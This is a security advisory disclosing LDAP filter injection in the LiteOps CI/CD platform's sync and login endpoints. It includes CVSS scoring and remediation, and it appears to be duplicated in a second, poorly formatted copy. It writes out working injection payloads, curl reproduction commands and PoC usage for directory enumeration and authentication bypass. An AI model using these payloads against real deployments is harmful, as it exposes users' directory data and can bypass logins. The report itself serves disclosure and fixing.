LiteOps LDAP Filter Injection — Information Disclosure
CVE Request: Pending
Date: 2026-04-25
Discoverer: icysun & Yashon
Product: opsre/LiteOps — Lightweight CI/CD Platform
Type: LDAP Filter Injection / Information Disclosure
CVSS: 6.5 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Summary
LiteOps is a lightweight CI/CD operations platform that integrates LDAP for user authentication and directory synchronization. Two endpoints accept user-supplied input and interpolate it directly into LDAP search filters without escaping special characters:
POST /api/ldap/sync/ — The search_filter field from the JSON request body is embedded into an LDAP filter via Python f-string concatenation.
POST /api/user/login/ — The username field is injected into an LDAP filter template using str.format().
Any authenticated user (the sync endpoint only requires a valid JWT token, with no role-based access control) can craft a malicious search filter to enumerate all LDAP directory entries, including usernames, email addresses, department info, and any other attributes exposed by the directory schema. The login endpoint additionally permits unauthenticated attackers to attempt authentication bypass.
Root Cause
Injection Point 1 — LDAP Sync (Critical)
File: backend/apps/views/ldap.py, lines 233–291
search_filter = data.get('search_filter', '')
final_filter = f"(&(objectClass=person)({search_filter}))"
connection.search(search_base, final_filter, attributes=[
'uid', 'cn', 'mail', 'telephoneNumber', 'department',
# ...
])
The search_filter value originates directly from the HTTP POST request body with zero sanitization. Special LDAP filter characters — (, ), *, \, and NUL — are passed through verbatim, allowing an attacker to break out of the intended sub-filter and inject arbitrary LDAP filter logic.
The @jwt_auth_required decorator on this view only validates that the JWT token is well-formed and has not expired. It does not check the user's role or permission level. Therefore any account — including a freshly self-registered low-privilege user — can reach this endpoint.
Injection Point 2 — Login (Unauthenticated)
File: backend/apps/views/ldap.py, lines 444–451
search_filter.format(username=username)
The username parameter from the login request is interpolated into an LDAP filter string using Python's str.format(). An attacker can supply a crafted username that closes the filter expression and inject additional filter clauses, potentially bypassing the authentication check entirely.
Attack Chain
Scenario 1: Authenticated User Enumeration
Step 1: Attacker registers a low-privilege account (or uses any existing JWT token).
Step 2: Attacker sends POST /api/ldap/sync/ with body:
{"search_filter": "uid=*))(|(uid=*"}
Step 3: Backend constructs filter:
(&(objectClass=person)(uid=*))(|(uid=*)))
This is equivalent to:
(objectClass=person) AND (uid=* OR uid=*)
→ returns ALL person entries.
Step 4: LDAP server returns every user record → full information disclosure.
Scenario 2: Login Authentication Bypass Attempt
Step 1: Attacker sends POST /api/user/login/ with body:
{"username": "*))(|(uid=*", "password": "anything"}
Step 2: Backend constructs filter via .format():
(uid=*))(|(uid=*))
→ filter always evaluates to true.
Step 3: If the bind succeeds with the first matching entry, auth is bypassed.
Impact
- Confidentiality: Complete — all LDAP directory attributes are exposed.
- Integrity: None — this is a read-only injection.
- Availability: None — no denial-of-service vector.
- Privileges Required: Low — any authenticated JWT holder (sync) or unauthenticated (login).
Proof of Concept
A standalone PoC script is provided at poc_liteops_ldap_injection.py.
Usage — Sync Mode (Enumerate All Users)
python3 poc_liteops_ldap_injection.py \
--target https://liteops.example.com \
--token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... \
--mode sync
Usage — Login Mode (Auth Bypass Attempt)
python3 poc_liteops_ldap_injection.py \
--target https://liteops.example.com \
--token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... \
--mode login
Manual Reproduction
# Step 1: Authenticate and obtain JWT
curl -s https://liteops.example.com/api/user/login/ \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"testpass"}' \
| jq -r '.data.token'
# Step 2: Inject LDAP sync filter
curl -s https://liteops.example.com/api/ldap/sync/ \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"search_filter":"uid=*))(|(uid=*"}' \
| jq '.'
CVSS v3.1 Scoring
| Metric |
Value |
Rationale |
| Attack Vector |
Network |
Exploitable over HTTP(S) |
| Attack Complexity |
Low |
No special conditions required |
| Privileges Required |
Low |
Any authenticated JWT (sync); None (login) |
| User Interaction |
None |
Fully automated |
| Scope |
Unchanged |
Impact limited to the LDAP directory |
| Confidentiality |
High |
Full directory enumeration |
| Integrity |
None |
No write operations |
| Availability |
None |
No DoS impact |
Base Score: 6.5 (Medium)
Remediation
Immediate Fix
Use ldap3.utils.conv.escape_filter_chars() to sanitize all user-supplied input before interpolation into LDAP filter strings.
For the sync endpoint (ldap.py:233):
from ldap3.utils.conv import escape_filter_chars
search_filter = data.get('search_filter', '')
safe_filter = escape_filter_chars(search_filter)
final_filter = f"(&(objectClass=person)({safe_filter}))"
For the login endpoint (ldap.py:444):
from ldap3.utils.conv import escape_filter_chars
safe_username = escape_filter_chars(username)
search_filter.format(username=safe_username)
Defense-in-Depth Recommendations
- Role-Based Access Control: The
/api/ldap/sync/ endpoint should require admin or operator role, not just a valid JWT.
- Input Validation: Reject
search_filter values containing LDAP metacharacters ((, ), *, \, NUL) at the request parsing layer.
- Allowlist Attributes: Restrict searchable LDAP attributes to a predefined allowlist (e.g.,
uid, cn, mail).
- Rate Limiting: Apply rate limiting to the sync endpoint to prevent bulk enumeration.
- Audit Logging: Log all LDAP sync requests with user ID, timestamp, and the raw
search_filter value for forensic analysis.
CVE Request
This vulnerability has not been assigned a CVE identifier. A CVE is requested to be allocated for:
- Product: opsre/LiteOps
- Affected Versions: All versions up to and including the latest commit as of 2026-04-25
- Vulnerability Type: CWE-90 — Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
Timeline
| Date |
Event |
| 2026-04-25 |
Vulnerability discovered by icysun |
| 2026-04-25 |
Report drafted and PoC developed |
| YYYY-MM-DD |
Vendor notification |
| YYYY-MM-DD |
Vendor patch released |
| YYYY-MM-DD |
CVE assigned |
| YYYY-MM-DD |
Public disclosure |
References
This report is submitted for responsible disclosure. Please contact icysun & Yashon for coordination.
LiteOps LDAP Filter Injection — Information Disclosure
CVE Request: Pending
Date: 2026-04-25
Discoverer: icysun & Yashon
Product: opsre/LiteOps — Lightweight CI/CD Platform
Type: LDAP Filter Injection / Information Disclosure
CVSS: 6.5 (Medium) —
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NSummary
LiteOps is a lightweight CI/CD operations platform that integrates LDAP for user authentication and directory synchronization. Two endpoints accept user-supplied input and interpolate it directly into LDAP search filters without escaping special characters:
POST /api/ldap/sync/— Thesearch_filterfield from the JSON request body is embedded into an LDAP filter via Python f-string concatenation.POST /api/user/login/— Theusernamefield is injected into an LDAP filter template usingstr.format().Any authenticated user (the sync endpoint only requires a valid JWT token, with no role-based access control) can craft a malicious search filter to enumerate all LDAP directory entries, including usernames, email addresses, department info, and any other attributes exposed by the directory schema. The login endpoint additionally permits unauthenticated attackers to attempt authentication bypass.
Root Cause
Injection Point 1 — LDAP Sync (Critical)
File:
backend/apps/views/ldap.py, lines 233–291The
search_filtervalue originates directly from the HTTP POST request body with zero sanitization. Special LDAP filter characters —(,),*,\, andNUL— are passed through verbatim, allowing an attacker to break out of the intended sub-filter and inject arbitrary LDAP filter logic.The
@jwt_auth_requireddecorator on this view only validates that the JWT token is well-formed and has not expired. It does not check the user's role or permission level. Therefore any account — including a freshly self-registered low-privilege user — can reach this endpoint.Injection Point 2 — Login (Unauthenticated)
File:
backend/apps/views/ldap.py, lines 444–451The
usernameparameter from the login request is interpolated into an LDAP filter string using Python'sstr.format(). An attacker can supply a crafted username that closes the filter expression and inject additional filter clauses, potentially bypassing the authentication check entirely.Attack Chain
Scenario 1: Authenticated User Enumeration
Scenario 2: Login Authentication Bypass Attempt
Impact
Proof of Concept
A standalone PoC script is provided at poc_liteops_ldap_injection.py.
Usage — Sync Mode (Enumerate All Users)
python3 poc_liteops_ldap_injection.py \ --target https://liteops.example.com \ --token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... \ --mode syncUsage — Login Mode (Auth Bypass Attempt)
python3 poc_liteops_ldap_injection.py \ --target https://liteops.example.com \ --token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... \ --mode loginManual Reproduction
CVSS v3.1 Scoring
Base Score: 6.5 (Medium)
Remediation
Immediate Fix
Use
ldap3.utils.conv.escape_filter_chars()to sanitize all user-supplied input before interpolation into LDAP filter strings.For the sync endpoint (
ldap.py:233):For the login endpoint (
ldap.py:444):Defense-in-Depth Recommendations
/api/ldap/sync/endpoint should require admin or operator role, not just a valid JWT.search_filtervalues containing LDAP metacharacters ((,),*,\, NUL) at the request parsing layer.uid,cn,mail).search_filtervalue for forensic analysis.CVE Request
This vulnerability has not been assigned a CVE identifier. A CVE is requested to be allocated for:
Timeline
References
This report is submitted for responsible disclosure. Please contact icysun & Yashon for coordination.